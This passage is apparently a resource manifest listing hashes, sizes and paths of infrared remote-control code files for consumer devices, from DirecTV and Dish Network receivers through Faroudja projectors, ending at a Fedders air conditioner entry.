+F:63d34c8da5b0941b605882eaf1f67abe:4288:infrared/_CSV-IRDB_/DirecTV/Receiver SDDVR/12,-1.ir +F:93d16e611011254fc53b3d5eb0ee6e1b:3009:infrared/_CSV-IRDB_/DirecTV/Receiver SDDVR/133,48.ir +F:ec7726f220e87432529b9bf8a22c8092:8370:infrared/_CSV-IRDB_/DirecTV/Satellite/12,-1.ir +F:761e6d27afbb9fbaa847b51407267ba7:4388:infrared/_CSV-IRDB_/DirecTV/Satellite/133,48.ir +F:8dbf986698ea8ed0bb9b5bd94c693c32:126:infrared/_CSV-IRDB_/DirecTV/Satellite/4,-1.ir +F:b366c51b4278b76482a335ea70bd48a8:427:infrared/_CSV-IRDB_/DirecTV/Unknown/12,-1.ir +F:9d21165254e4a6d62c995c19615a8317:230:infrared/_CSV-IRDB_/DirecTV/Unknown/12,251.ir +F:33dfd7ff3989f9a16667b7e4075f9887:3852:infrared/_CSV-IRDB_/DirecTV/Unknown_G051204/12,-1.ir +F:a4d1d43c026fdd4e9e5bf00ff708a0f5:3299:infrared/_CSV-IRDB_/DirecTV/Unknown_H23/12,-1.ir +F:046d150a2e61478147f331769fbad03e:2378:infrared/_CSV-IRDB_/DirecTV/Unknown_HD20-100/12,-1.ir +F:d7d03c8a165b22ed3793fb1be3403c87:3736:infrared/_CSV-IRDB_/DirecTV/Unknown_RC16/12,-1.ir +F:385726c61794f8c5c829458fcd237fa0:3295:infrared/_CSV-IRDB_/DirecTV/Unknown_RC32/12,-1.ir +F:2501e7e032494ae024f05536acde90c1:4145:infrared/_CSV-IRDB_/DirecTV/Unknown_RC64/12,-1.ir +D:infrared/_CSV-IRDB_/Dish Network/Satelite DVR +D:infrared/_CSV-IRDB_/Dish Network/Satellite +F:98aa20cf3bcfa56fffe3398bf7f429ee:3942:infrared/_CSV-IRDB_/Dish Network/Satelite DVR/0,0.ir +F:b3e7399c63f660653c0647c6bd54a069:2485:infrared/_CSV-IRDB_/Dish Network/Satelite DVR/1,0.ir +F:4a5f4e6216ce260430f3a0934605e7c4:320:infrared/_CSV-IRDB_/Dish Network/Satelite DVR/15,-1.ir +F:abc132787f2777e8ed4e5a10badb9977:10360:infrared/_CSV-IRDB_/Dish Network/Satellite/0,0.ir +F:2fd3ff52a9a81fc1e8ba2fcbda7e2c4b:3649:infrared/_CSV-IRDB_/Dish Network/Satellite/0,1.ir +F:e757536bb2bda1c142eb01270d799b85:2514:infrared/_CSV-IRDB_/Dish Network/Satellite/0,12.ir +F:19880b5447fbfac7a6b2c32f53fc1428:2731:infrared/_CSV-IRDB_/Dish Network/Satellite/0,2.ir +F:ef75bacdd8100e9d25111a6745fdf832:2731:infrared/_CSV-IRDB_/Dish Network/Satellite/0,3.ir +F:72f914175e90689b3490685c4ec477eb:244:infrared/_CSV-IRDB_/Dish Network/Satellite/0,31.ir +F:287fb24e869642347759d7f644d6ea44:4426:infrared/_CSV-IRDB_/Dish Network/Satellite/0,4.ir +F:8f15b677579cfbae57f0a8e7cd2f734c:4203:infrared/_CSV-IRDB_/Dish Network/Satellite/0,5.ir +F:b81022e86fc4d5545f7769a1bf7e5d8a:3761:infrared/_CSV-IRDB_/Dish Network/Satellite/0,6.ir +F:c6ebf7d2f8410c62b0dc296b2a15d517:4426:infrared/_CSV-IRDB_/Dish Network/Satellite/0,7.ir +F:1956a732805fd9bd11d8aa6017eaedcf:4721:infrared/_CSV-IRDB_/Dish Network/Satellite/1,0.ir +F:a68a63610ca85b86afc26a6fc5c5b7b1:419:infrared/_CSV-IRDB_/Dish Network/Satellite/1,1.ir +F:e4ff5cfa63edee900f31608a86823361:884:infrared/_CSV-IRDB_/Dish Network/Satellite/1,12.ir +F:fb9bf1ac3626cb6c0cecb955d7067d99:325:infrared/_CSV-IRDB_/Dish Network/Satellite/1,2.ir +F:678b4ed747854df4cd569f31b3a40b28:325:infrared/_CSV-IRDB_/Dish Network/Satellite/1,3.ir +F:9ba06233cf3903cb10f65b236afdabce:1737:infrared/_CSV-IRDB_/Dish Network/Satellite/1,4.ir +F:052078632369a93eb374a7c50d67cf26:1622:infrared/_CSV-IRDB_/Dish Network/Satellite/1,5.ir +F:c46af721037d15ddd949e8e592d37e3e:1717:infrared/_CSV-IRDB_/Dish Network/Satellite/1,6.ir +F:0806fcbdaa3fbb7e0a0c8ff681a643ef:1440:infrared/_CSV-IRDB_/Dish Network/Satellite/1,7.ir +F:4a5f4e6216ce260430f3a0934605e7c4:320:infrared/_CSV-IRDB_/Dish Network/Satellite/15,-1.ir +F:3590690bb0443c34344cceed087318ec:405:infrared/_CSV-IRDB_/Dish Network/Satellite/16,0.ir +F:286859b302596fe55152dc948bb0955c:1143:infrared/_CSV-IRDB_/Dish Network/Satellite/24,0.ir +F:9efbfbd43c2a74f2bc7a887cdd84418b:229:infrared/_CSV-IRDB_/Dish Network/Satellite/28,-1.ir +F:6f2f243e41a00c254597ef83d1e3a41d:129:infrared/_CSV-IRDB_/Dish Network/Satellite/4,0.ir +F:44952a85d6dce02a3c028c74a0b90fa9:131:infrared/_CSV-IRDB_/Dish Network/Satellite/4,5.ir +F:ad2b68aa3707bfcf214c4a69c7813818:320:infrared/_CSV-IRDB_/Dish Network/Satellite/48,-1.ir +F:2e135aa8144feb037ee8637d7854c068:223:infrared/_CSV-IRDB_/Dish Network/Satellite/8,0.ir +D:infrared/_CSV-IRDB_/Domland/Unknown_domland-MH10CA +F:3908a31158012aedb0ffc1a54325f5ff:1648:infrared/_CSV-IRDB_/Domland/Unknown_domland-MH10CA/131,101.ir +D:infrared/_CSV-IRDB_/Draper/Dropdown Screen +D:infrared/_CSV-IRDB_/Draper/Electric Screen +D:infrared/_CSV-IRDB_/Draper/Screen +F:a09cb28bb258d02187c70ce4de5ec5b6:310:infrared/_CSV-IRDB_/Draper/Dropdown Screen/0,-1.ir +F:a09cb28bb258d02187c70ce4de5ec5b6:310:infrared/_CSV-IRDB_/Draper/Electric Screen/0,-1.ir +F:a09cb28bb258d02187c70ce4de5ec5b6:310:infrared/_CSV-IRDB_/Draper/Screen/0,-1.ir +F:1b6e8846323abbae624f613013ee039f:310:infrared/_CSV-IRDB_/Draper/Screen/2,-1.ir +D:infrared/_CSV-IRDB_/Dream/Satellite +F:e9c6725c8376d52dc2d8fc76a90f1adf:3395:infrared/_CSV-IRDB_/Dream/Satellite/0,-1.ir +F:2245ad58b4b4b4d8a77bd4555347cbc7:394:infrared/_CSV-IRDB_/Dream/Satellite/10,0.ir +F:fd9ba6951c34565dc4ab7c59d8793939:134:infrared/_CSV-IRDB_/Dream/Satellite/11,0.ir +F:650374a4f22a67538e7ccdb69f429d1e:584:infrared/_CSV-IRDB_/Dream/Satellite/25,0.ir +F:2983f37268f5e72a1f1751062108e18b:12245:infrared/_CSV-IRDB_/Dream/Satellite/26,0.ir +F:b1dfb1ae9691a4b72d37008223f4b5a6:224:infrared/_CSV-IRDB_/Dream/Satellite/41,0.ir +D:infrared/_CSV-IRDB_/Dream Multimedia/Unknown_URC7562 +F:77da98f751294e36aa585c7e5c6176fb:2970:infrared/_CSV-IRDB_/Dream Multimedia/Unknown_URC7562/0,-1.ir +D:infrared/_CSV-IRDB_/Dream Vision/DLP Projector +F:4dcc8033721a0f18a26ab27502d80fb5:3899:infrared/_CSV-IRDB_/Dream Vision/DLP Projector/135,78.ir +D:infrared/_CSV-IRDB_/Durabrand/Unknown_PTV141 +F:c962f356f18e7a334f31be5804270e96:2985:infrared/_CSV-IRDB_/Durabrand/Unknown_PTV141/128,99.ir +D:infrared/_CSV-IRDB_/Dwin/Line Multiplier +D:infrared/_CSV-IRDB_/Dwin/Plasma +D:infrared/_CSV-IRDB_/Dwin/Projector +D:infrared/_CSV-IRDB_/Dwin/TV +D:infrared/_CSV-IRDB_/Dwin/Video Processor +D:infrared/_CSV-IRDB_/Dwin/Video Projector +F:e12bc769bdf8c41255e01abff8ac5d41:3135:infrared/_CSV-IRDB_/Dwin/Line Multiplier/1,-1.ir +F:33396afeb22d888d0e57e760f77bdaf4:2077:infrared/_CSV-IRDB_/Dwin/Plasma/15,-1.ir +F:b8c5c56b28af96ff482774267cee6bc6:2011:infrared/_CSV-IRDB_/Dwin/Projector/15,-1.ir +F:b9bd0516de14f74a2439996dde3ea9b4:2429:infrared/_CSV-IRDB_/Dwin/TV/15,-1.ir +F:01bb16ce9e6ad48fbefa0d2bdc29c92c:4155:infrared/_CSV-IRDB_/Dwin/Video Processor/1,-1.ir +F:dcdbf7569affb58204e8227d07f216fc:132:infrared/_CSV-IRDB_/Dwin/Video Processor/7,0.ir +F:4c70eab0d80bab8c722fe2669b04c44f:8246:infrared/_CSV-IRDB_/Dwin/Video Projector/15,-1.ir +F:dcdbf7569affb58204e8227d07f216fc:132:infrared/_CSV-IRDB_/Dwin/Video Projector/7,0.ir +D:infrared/_CSV-IRDB_/Dynaudio/Unknown_Sub +F:8c78e564ec37e304cd8a4521f2d5b100:1565:infrared/_CSV-IRDB_/Dynaudio/Unknown_Sub/1,-1.ir +D:infrared/_CSV-IRDB_/Dynex/Unknown_DX-CVS4 +F:cd5764ad86fc36683b18c51a806b7b20:407:infrared/_CSV-IRDB_/Dynex/Unknown_DX-CVS4/2,-1.ir +D:infrared/_CSV-IRDB_/E Max/DVD Player +F:bd6c57eb83137fbb8af5b4b863398e20:3902:infrared/_CSV-IRDB_/E Max/DVD Player/0,223.ir +D:infrared/_CSV-IRDB_/E-tech/Unknown_FLY98 +F:b3d7acc879382d160841544621621c6c:2883:infrared/_CSV-IRDB_/E-tech/Unknown_FLY98/96,1.ir +D:infrared/_CSV-IRDB_/ELTASAT/Unknown_SAT170 +F:e1bb9402fd9edbd8d32d1f21bdf97f9f:2014:infrared/_CSV-IRDB_/ELTASAT/Unknown_SAT170/66,253.ir +D:infrared/_CSV-IRDB_/ENTONE/Unknown_URC-4021ABA1-006-R +F:12c9a70a888f96bc83d3fcd8bc303885:3361:infrared/_CSV-IRDB_/ENTONE/Unknown_URC-4021ABA1-006-R/230,4.ir +D:infrared/_CSV-IRDB_/Eagle Aspen/Unknown_Aspen +F:902318a8f7c0d5676aaee5799415ed01:1813:infrared/_CSV-IRDB_/Eagle Aspen/Unknown_Aspen/120,-1.ir +D:infrared/_CSV-IRDB_/Echostar/DSS +D:infrared/_CSV-IRDB_/Echostar/DVR +D:infrared/_CSV-IRDB_/Echostar/Dish Network +D:infrared/_CSV-IRDB_/Echostar/PVR SAT +D:infrared/_CSV-IRDB_/Echostar/Satelite DVR +D:infrared/_CSV-IRDB_/Echostar/Satellite +D:infrared/_CSV-IRDB_/Echostar/Unknown_AD3000IP +D:infrared/_CSV-IRDB_/Echostar/Unknown_DSB-616 +D:infrared/_CSV-IRDB_/Echostar/Unknown_DSB-636 +F:40539a7e2c402a2d337f5106ae40582d:2050:infrared/_CSV-IRDB_/Echostar/DSS/0,0.ir +F:e6c5a85f3f41db64d61e55302b299161:2693:infrared/_CSV-IRDB_/Echostar/DVR/0,0.ir +F:b8b8678f7325a449c17eed8eabe703fe:1150:infrared/_CSV-IRDB_/Echostar/DVR/1,0.ir +F:1c0e6380d0782ff09d0bf187a8d77a97:2127:infrared/_CSV-IRDB_/Echostar/Dish Network/0,0.ir +F:84a4d8fe695966e0e50ae5b557732870:2321:infrared/_CSV-IRDB_/Echostar/PVR SAT/0,0.ir +F:4902e2715858119ca15d90f431681e79:886:infrared/_CSV-IRDB_/Echostar/PVR SAT/1,0.ir +F:8431f8cbd6f5795ace695dfd00135fc6:4234:infrared/_CSV-IRDB_/Echostar/Satelite DVR/0,0.ir +F:ec59270add3c272ebdc16153e30ce933:2669:infrared/_CSV-IRDB_/Echostar/Satelite DVR/0,4.ir +F:826189a52d98ed357efb2972d5eb527b:2654:infrared/_CSV-IRDB_/Echostar/Satelite DVR/1,0.ir +F:14ff1b34a82be3960cfa3fb1d82cb74b:888:infrared/_CSV-IRDB_/Echostar/Satelite DVR/1,4.ir +F:21cf95300fdefb654f99598df81b4106:231:infrared/_CSV-IRDB_/Echostar/Satelite DVR/2,-1.ir +F:c2dead12ab2f19410df05710a4a0a062:4461:infrared/_CSV-IRDB_/Echostar/Satellite/0,0.ir +F:6410a113ac703bbb8b153f597af85714:1247:infrared/_CSV-IRDB_/Echostar/Satellite/1,0.ir +F:bd26b493760703b8ef796ba8019a3317:221:infrared/_CSV-IRDB_/Echostar/Satellite/16,0.ir +F:019934eb465b13c4dc4de9588c17bdbf:320:infrared/_CSV-IRDB_/Echostar/Satellite/4,-1.ir +F:da2bbf88d25ad5c61b9ad50704bd4d2d:2774:infrared/_CSV-IRDB_/Echostar/Unknown_AD3000IP/4,0.ir +F:1fd377c44d7d8ee0b16c95f4e61a8685:3349:infrared/_CSV-IRDB_/Echostar/Unknown_DSB-616/5,-1.ir +F:a7655aea08ded52c77cd3b24c9f0a7b5:3065:infrared/_CSV-IRDB_/Echostar/Unknown_DSB-636/4,0.ir +D:infrared/_CSV-IRDB_/Elan/Camera Switcher +D:infrared/_CSV-IRDB_/Elan/DMX +D:infrared/_CSV-IRDB_/Elan/DVD Manager +D:infrared/_CSV-IRDB_/Elan/HD +D:infrared/_CSV-IRDB_/Elan/IR Router +D:infrared/_CSV-IRDB_/Elan/Jukebox +D:infrared/_CSV-IRDB_/Elan/Master Controller +D:infrared/_CSV-IRDB_/Elan/Pre-Amplifier +D:infrared/_CSV-IRDB_/Elan/Satellite Radio +D:infrared/_CSV-IRDB_/Elan/Tuner +D:infrared/_CSV-IRDB_/Elan/Video Controller +D:infrared/_CSV-IRDB_/Elan/Video Switcher +D:infrared/_CSV-IRDB_/Elan/Volume Control +F:d9bc4e2d8643110aec88b8348c968489:1371:infrared/_CSV-IRDB_/Elan/Camera Switcher/0,-1.ir +F:fe049ef7999df3778e9d7515c8ce27cc:3549:infrared/_CSV-IRDB_/Elan/DMX/100,-1.ir +F:a2efea7166e67212b02a3329a1533dac:3604:infrared/_CSV-IRDB_/Elan/DMX/14,-1.ir +F:8428657318fe377197a9f4c2ca08e755:3501:infrared/_CSV-IRDB_/Elan/DMX/96,-1.ir +F:58a75ea0068bd2bc001741c0d98cf157:3512:infrared/_CSV-IRDB_/Elan/DMX/99,-1.ir +F:248c85b68a4a80f7256989557acfc918:4369:infrared/_CSV-IRDB_/Elan/DVD Manager/15,-1.ir +F:8b82b91102bae467592f398d31f48633:1076:infrared/_CSV-IRDB_/Elan/HD/0,-1.ir +F:dda0a0ba5b6a49ee00a57b34a6a202d2:4725:infrared/_CSV-IRDB_/Elan/HD/1,-1.ir +F:164175dc351f7964cc4b2126c8bf7751:126:infrared/_CSV-IRDB_/Elan/HD/2,-1.ir +F:6585cddfbf16b54c9bbbee29dd5e2b77:4250:infrared/_CSV-IRDB_/Elan/HD/4,-1.ir +F:7ce4f152264e65fa3ed977d5625e7c4e:3735:infrared/_CSV-IRDB_/Elan/HD/5,-1.ir +F:9c48d5846eec39c2c6457e8fcf968da4:238:infrared/_CSV-IRDB_/Elan/IR Router/1,-1.ir +F:746eaff5148cf506e09e436bafb20104:2981:infrared/_CSV-IRDB_/Elan/IR Router/2,-1.ir +F:70981e79e9f459967a6e9e62a0316ab1:1231:infrared/_CSV-IRDB_/Elan/Jukebox/96,-1.ir +F:2a35541988366052c5bf8c2e896723ee:786:infrared/_CSV-IRDB_/Elan/Master Controller/0,-1.ir +F:3efc7f9430f504b9a1cc441b3f092258:1610:infrared/_CSV-IRDB_/Elan/Master Controller/1,-1.ir +F:0f6c105feeb3b733d7c0b73260e5dbb9:1224:infrared/_CSV-IRDB_/Elan/Master Controller/5,-1.ir +F:faf427e1d6ef75e4573db61c12bb7fc0:2736:infrared/_CSV-IRDB_/Elan/Pre-Amplifier/0,-1.ir +F:579de3e8a00707f8b782bb108cb20455:2047:infrared/_CSV-IRDB_/Elan/Satellite Radio/26,-1.ir +F:2f0210a32808ad5487d28d7e117a3c53:3872:infrared/_CSV-IRDB_/Elan/Tuner/129,115.ir +F:91c70e78311409eb0929526ee089e2e3:2262:infrared/_CSV-IRDB_/Elan/Video Controller/0,-1.ir +F:d2774f073099c92677cdbbd466deeef5:2728:infrared/_CSV-IRDB_/Elan/Video Switcher/0,-1.ir +F:077bacfc33740c2bee1d9376fc8cea30:759:infrared/_CSV-IRDB_/Elan/Video Switcher/1,-1.ir +F:1622756c17a7b126b3f243cf32cd60d7:398:infrared/_CSV-IRDB_/Elan/Volume Control/0,-1.ir +F:9458f1a6132560f425b2b8ae1f2479f9:511:infrared/_CSV-IRDB_/Elan/Volume Control/1,241.ir +F:1138544c70a90c97e9c4d1d7da3764b6:129:infrared/_CSV-IRDB_/Elan/Volume Control/255,15.ir +D:infrared/_CSV-IRDB_/Electrocompaniet/CD Player +D:infrared/_CSV-IRDB_/Electrocompaniet/Integrated Amplifier +F:c6bcc27b3ee819fa8b6962c1d7870287:2389:infrared/_CSV-IRDB_/Electrocompaniet/CD Player/20,-1.ir +F:33f8f4060bb50eff1bfa1eb950fc94b9:772:infrared/_CSV-IRDB_/Electrocompaniet/Integrated Amplifier/16,-1.ir +D:infrared/_CSV-IRDB_/Electrokinetics/Plasma Lift +F:db920b816e3256a13f34cb29ceebe52c:136:infrared/_CSV-IRDB_/Electrokinetics/Plasma Lift/0,-1.ir +D:infrared/_CSV-IRDB_/Elenberg/Unknown_RC-404E +F:ee703a634099129e86a8907c6659d637:4575:infrared/_CSV-IRDB_/Elenberg/Unknown_RC-404E/0,251.ir +D:infrared/_CSV-IRDB_/Elitron/Unknown_utk +F:1a6fc0175b45adbcee023cf3311a44cc:2389:infrared/_CSV-IRDB_/Elitron/Unknown_utk/7,-1.ir +D:infrared/_CSV-IRDB_/Elmo/CAMERA_PRC-100S +D:infrared/_CSV-IRDB_/Elmo/Camera +D:infrared/_CSV-IRDB_/Elmo/Video Projector +F:fddbd1c41a598d6efabf8f7cb18f5b94:2474:infrared/_CSV-IRDB_/Elmo/CAMERA_PRC-100S/32,-1.ir +F:f7f8130da10d8ac17e9b3d541fc69fe3:2961:infrared/_CSV-IRDB_/Elmo/Camera/128,-1.ir +F:504ba08af77302dc7f844ba33219be5a:1207:infrared/_CSV-IRDB_/Elmo/Video Projector/132,132.ir +F:0afaa215faea736743ec15c4cf7c4040:1207:infrared/_CSV-IRDB_/Elmo/Video Projector/134,134.ir +D:infrared/_CSV-IRDB_/Emerson/TV +D:infrared/_CSV-IRDB_/Emerson/Unknown_Emerson-NB050-DVD +D:infrared/_CSV-IRDB_/Emerson/Unknown_emerson +D:infrared/_CSV-IRDB_/Emerson/Unknown_emerson-cd +D:infrared/_CSV-IRDB_/Emerson/Unknown_emersontv +D:infrared/_CSV-IRDB_/Emerson/VCR +F:e291002e49745f0ff406ca2f109f312a:2447:infrared/_CSV-IRDB_/Emerson/TV/0,-1.ir +F:40e3274f136ba7f27928094b87a64055:4534:infrared/_CSV-IRDB_/Emerson/TV/135,34.ir +F:095f47aac5f1d5f1564b6c40ed641677:3802:infrared/_CSV-IRDB_/Emerson/Unknown_Emerson-NB050-DVD/135,34.ir +F:be0d2ee57d8bebe98147801185499684:2496:infrared/_CSV-IRDB_/Emerson/Unknown_emerson/134,5.ir +F:2b2a88cea2f5f80fe4aa186802e981c6:627:infrared/_CSV-IRDB_/Emerson/Unknown_emerson-cd/3,1.ir +F:fa2732a3e11a5f34875dc181750827a5:2506:infrared/_CSV-IRDB_/Emerson/Unknown_emersontv/22,22.ir +F:b8d949f3b4b15f4b2cee7aa29d439ee1:2677:infrared/_CSV-IRDB_/Emerson/VCR/21,-1.ir +F:c4f04a1780a314ce67b4ebdd9ccfd419:229:infrared/_CSV-IRDB_/Emerson/VCR/4,-1.ir +F:49e6bfed2fd0bcaed018db7999e661d9:2228:infrared/_CSV-IRDB_/Emerson/VCR/40,-1.ir +D:infrared/_CSV-IRDB_/Epson/Projector +D:infrared/_CSV-IRDB_/Epson/Unknown_12807990 +D:infrared/_CSV-IRDB_/Epson/Unknown_ELPST12 +D:infrared/_CSV-IRDB_/Epson/Video Projector +F:e4ed84e860b921e172f9f313bdc01b09:5422:infrared/_CSV-IRDB_/Epson/Projector/131,85.ir +F:56635aa3874ff274daeafa1cdce127f1:2495:infrared/_CSV-IRDB_/Epson/Unknown_12807990/131,85.ir +F:507be960ee1d56df6e64e4e8804b1c10:1557:infrared/_CSV-IRDB_/Epson/Unknown_ELPST12/131,85.ir +F:e6ba9ac5eb7c436d9a2c06215660b7f2:2237:infrared/_CSV-IRDB_/Epson/Video Projector/131,85.ir +D:infrared/_CSV-IRDB_/Escient/CD Jukebox +D:infrared/_CSV-IRDB_/Escient/CD Management +D:infrared/_CSV-IRDB_/Escient/DVD Library +D:infrared/_CSV-IRDB_/Escient/DVD Player +D:infrared/_CSV-IRDB_/Escient/Digital Jukebox +D:infrared/_CSV-IRDB_/Escient/Digital Media Receiver +D:infrared/_CSV-IRDB_/Escient/Hard Drive Recorder +D:infrared/_CSV-IRDB_/Escient/MP3 Player +D:infrared/_CSV-IRDB_/Escient/Media Manager +D:infrared/_CSV-IRDB_/Escient/Media Server +F:912bb10a043f174e8012d014190121d9:3497:infrared/_CSV-IRDB_/Escient/CD Jukebox/0,0.ir +F:a8a55c5a992f579418af80473e70ac42:3048:infrared/_CSV-IRDB_/Escient/CD Jukebox/14,0.ir +F:3f9c9e4ca2798f49e66829072eb6fb3a:2703:infrared/_CSV-IRDB_/Escient/CD Jukebox/15,0.ir +F:20cffaa60d15772783fd22730236020f:126:infrared/_CSV-IRDB_/Escient/CD Jukebox/48,-1.ir +F:66d74d57cb0ba78248c98c0f8b615d19:126:infrared/_CSV-IRDB_/Escient/CD Jukebox/91,-1.ir +F:3974f1a7c81e4a149d542bbb27484c6f:4906:infrared/_CSV-IRDB_/Escient/CD Management/0,0.ir +F:243adb4e8c711b709989a231b4a3647d:6150:infrared/_CSV-IRDB_/Escient/CD Management/14,0.ir +F:66d74d57cb0ba78248c98c0f8b615d19:126:infrared/_CSV-IRDB_/Escient/CD Management/91,-1.ir +F:614f09389fc865c47e2cd4c2a1d9e62a:128:infrared/_CSV-IRDB_/Escient/DVD Library/1,22.ir +F:eb0f0a885687eb537b3b3f317eadd9a2:3203:infrared/_CSV-IRDB_/Escient/DVD Library/8,-1.ir +F:e53b4e47090891a9b41effc41cf92ca8:3486:infrared/_CSV-IRDB_/Escient/DVD Player/1,22.ir +F:e47fea4bc1b1706d62b365303f2baa17:3576:infrared/_CSV-IRDB_/Escient/DVD Player/2,22.ir +F:85a5fcb639b901a5ba8c891298f76ff9:3472:infrared/_CSV-IRDB_/Escient/DVD Player/3,22.ir +F:83d63f720bdf7e687af875869013135a:5079:infrared/_CSV-IRDB_/Escient/DVD Player/4,22.ir +F:eb0f0a885687eb537b3b3f317eadd9a2:3203:infrared/_CSV-IRDB_/Escient/DVD Player/8,-1.ir +F:92ca5c9dcca1235e00b10f4347272034:5183:infrared/_CSV-IRDB_/Escient/Digital Jukebox/15,0.ir +F:1b30c034e4185a543b68e9e409889580:3923:infrared/_CSV-IRDB_/Escient/Digital Media Receiver/1,22.ir +F:51a72feba9eb6e164b432a5ee022a8fe:312:infrared/_CSV-IRDB_/Escient/Digital Media Receiver/15,-1.ir +F:f1937f3c19f7fb3db5c8917e857db750:4127:infrared/_CSV-IRDB_/Escient/Hard Drive Recorder/15,0.ir +F:ad257851dc170f2dd4d687dbb0bc718d:622:infrared/_CSV-IRDB_/Escient/MP3 Player/0,-1.ir +F:55b1ab987bc9acb3dd289554125efeba:3935:infrared/_CSV-IRDB_/Escient/MP3 Player/1,22.ir +F:567b297f92655a600ade9e0edbbaffcc:222:infrared/_CSV-IRDB_/Escient/MP3 Player/14,-1.ir +F:4a5f4e6216ce260430f3a0934605e7c4:320:infrared/_CSV-IRDB_/Escient/MP3 Player/15,-1.ir +F:4292e0514bcffa9617f5deacac4a6816:1625:infrared/_CSV-IRDB_/Escient/MP3 Player/4,22.ir +F:23e1d94992f396200b21897dd4cd76ea:10244:infrared/_CSV-IRDB_/Escient/Media Manager/1,22.ir +F:71c705c544748a16a34b2c332ccc37f3:130:infrared/_CSV-IRDB_/Escient/Media Manager/15,-1.ir +F:354d7b59c0443364e8f03376ba97e3fa:6581:infrared/_CSV-IRDB_/Escient/Media Manager/15,0.ir +F:4d95b67c4ccb9747a221367c70c50d1a:5353:infrared/_CSV-IRDB_/Escient/Media Manager/2,22.ir +F:37d423284043e22dee8d797197d30f65:5170:infrared/_CSV-IRDB_/Escient/Media Manager/3,22.ir +F:b1061cad0399a099757f6c55ad286c35:6799:infrared/_CSV-IRDB_/Escient/Media Manager/33,184.ir +F:f5a8464a1510d47558b67cfac6baf426:6859:infrared/_CSV-IRDB_/Escient/Media Manager/4,22.ir +F:20cffaa60d15772783fd22730236020f:126:infrared/_CSV-IRDB_/Escient/Media Manager/48,-1.ir +F:ff1f057e5b4a638847e7fa242a9f751d:2191:infrared/_CSV-IRDB_/Escient/Media Server/1,22.ir +F:eb050d9a30ae59c3f0916921e62e7605:2267:infrared/_CSV-IRDB_/Escient/Media Server/4,22.ir +D:infrared/_CSV-IRDB_/Esoteric Audio/DVD Player +F:40d45916d2a5d662c552439f2b8f83af:4218:infrared/_CSV-IRDB_/Esoteric Audio/DVD Player/133,32.ir +D:infrared/_CSV-IRDB_/Euroconsumers/Unknown_LG-5988 +F:114399020245060dd0cc052418ff7ff8:4305:infrared/_CSV-IRDB_/Euroconsumers/Unknown_LG-5988/136,-1.ir +D:infrared/_CSV-IRDB_/Expressvu/Unknown_3100 +F:ce954f5fe09e60a2e4f492b22874eb31:1245:infrared/_CSV-IRDB_/Expressvu/Unknown_3100/0,0.ir +D:infrared/_CSV-IRDB_/Extron/Switcher +F:dbf6ea5bdc8ce5465052f86512ff9fdb:1101:infrared/_CSV-IRDB_/Extron/Switcher/0,-1.ir +F:adf8f6efd9162c138f59b67f5f923f3b:1497:infrared/_CSV-IRDB_/Extron/Switcher/128,84.ir +D:infrared/_CSV-IRDB_/FSC/DVD Player +F:51e85ed6fee0397ef480c8a0274d8f6e:4757:infrared/_CSV-IRDB_/FSC/DVD Player/4,15.ir +D:infrared/_CSV-IRDB_/FTE Maximal/Unknown_FTE +F:e41a8fcfa0a4b7b8c519ee079cf11336:2097:infrared/_CSV-IRDB_/FTE Maximal/Unknown_FTE/73,-1.ir +D:infrared/_CSV-IRDB_/FUBA/Unknown_ALPS +D:infrared/_CSV-IRDB_/FUBA/Unknown_FUBA +F:61a97d1f448ab222ca7b91568e4b505d:2490:infrared/_CSV-IRDB_/FUBA/Unknown_ALPS/134,75.ir +F:7ca8c881880ea9ff2b50dcd703fbb722:2288:infrared/_CSV-IRDB_/FUBA/Unknown_FUBA/134,75.ir +D:infrared/_CSV-IRDB_/FUNAI/Unknown_NF021RD +F:ec75b7990ee518672a56944e0604c01e:4093:infrared/_CSV-IRDB_/FUNAI/Unknown_NF021RD/132,224.ir +D:infrared/_CSV-IRDB_/Fagor/Unknown_TEDI100 +F:bca824be337bd873ebec7ef3865c50d8:1645:infrared/_CSV-IRDB_/Fagor/Unknown_TEDI100/192,-1.ir +D:infrared/_CSV-IRDB_/Falcon/Unknown_VT-1000 +F:b07d5bca778658bbfe57a15ebd27a6e4:1568:infrared/_CSV-IRDB_/Falcon/Unknown_VT-1000/16,47.ir +D:infrared/_CSV-IRDB_/Faroudja/DVD Player +D:infrared/_CSV-IRDB_/Faroudja/Line Doubler +D:infrared/_CSV-IRDB_/Faroudja/Line Quadrupler +D:infrared/_CSV-IRDB_/Faroudja/Processor +D:infrared/_CSV-IRDB_/Faroudja/Video Processor +D:infrared/_CSV-IRDB_/Faroudja/Video Projector +F:acae852fc975e26a52314cfd8d091132:4135:infrared/_CSV-IRDB_/Faroudja/DVD Player/163,-1.ir +F:6dc40ce4aab84e036b0df8f3befa1273:2823:infrared/_CSV-IRDB_/Faroudja/DVD Player/175,-1.ir +F:817437b83c8f1b1995135ca0f50c247c:810:infrared/_CSV-IRDB_/Faroudja/Line Doubler/1,-1.ir +F:817437b83c8f1b1995135ca0f50c247c:810:infrared/_CSV-IRDB_/Faroudja/Line Quadrupler/1,-1.ir +F:025d8658637c86697f658e6d523468b9:1388:infrared/_CSV-IRDB_/Faroudja/Processor/1,-1.ir +F:ec813ca8a2db09bd4c7f6df11580407c:3393:infrared/_CSV-IRDB_/Faroudja/Video Processor/1,-1.ir +F:879a25687c950073d24fcd19e00533ff:2988:infrared/_CSV-IRDB_/Faroudja/Video Processor/27,-1.ir +F:a7a8bc403c15ab8bc177982c55741dac:213:infrared/_CSV-IRDB_/Faroudja/Video Projector/0,-1.ir +F:943de5e3debc67979b8db65266961994:2796:infrared/_CSV-IRDB_/Faroudja/Video Projector/1,-1.ir +F:3f2bdb5fb0d5b7f98b1a9da63ef2773e:126:infrared/_CSV-IRDB_/Faroudja/Video Projector/13,-1.ir +F:6e1c4180bf7edc395b7a0ed10f6f2067:982:infrared/_CSV-IRDB_/Faroudja/Video Projector/135,78.ir +F:24eae45b84da1799496e267a1d0358fb:980:infrared/_CSV-IRDB_/Faroudja/Video Projector/24,-1.ir +F:22e34d6805de06b02b301f5161597df0:1457:infrared/_CSV-IRDB_/Faroudja/Video Projector/24,24.ir +F:78b6ce36fd873935871a87c572238c0b:126:infrared/_CSV-IRDB_/Faroudja/Video Projector/30,-1.ir +D:infrared/_CSV-IRDB_/Fast/TV +D:infrared/_CSV-IRDB_/Fast/TVS +F:72e348cce51f080a379277dd16002f74:7075:infrared/_CSV-IRDB_/Fast/TV/28,-1.ir +F:f2d942e9fa2d3b1315cbbf95fe293de4:963:infrared/_CSV-IRDB_/Fast/TVS/28,-1.ir +D:infrared/_CSV-IRDB_/Fedders/Air Conditioner 